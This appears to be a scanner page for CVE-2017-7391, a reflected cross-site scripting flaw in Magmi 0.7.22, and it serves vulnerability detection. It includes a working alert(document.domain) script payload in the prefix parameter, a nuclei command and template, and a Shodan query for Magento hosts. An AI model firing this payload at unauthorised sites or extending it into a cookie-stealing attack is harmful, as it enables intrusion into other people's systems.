Magmi 0.7.22 - Cross-Site Scripting

mediumseverity

6.1CVSS score

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Magmi or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C
Positive when: contains "\"><script>alert(document.domain);</script><" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-7391 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-7391

info:
  name: Magmi 0.7.22 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Magmi 0.7.22 contains a cross-site scripting vulnerability due to insufficient filtration of user-supplied data (prefix) passed to the magmi-git-master/magmi/web/ajax_gettime.php URL.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Magmi or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/dweeves/magmi-git/issues/522
    - https://github.com/dweeves/magmi-git/releases/download/0.7.22/magmi_full_0.7.22.zip
    - https://github.com/dweeves/magmi-git/pull/525
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7391
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-7391
    cwe-id: CWE-79
    epss-score: 0.08279
    epss-percentile: 0.9496
    cpe: cpe:2.3:a:magmi_project:magmi:0.7.22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: magmi_project
    product: magmi
    shodan-query: http.component:"magento"
  tags: cve2017,cve,magmi,xss,magmi_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain);</script><'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from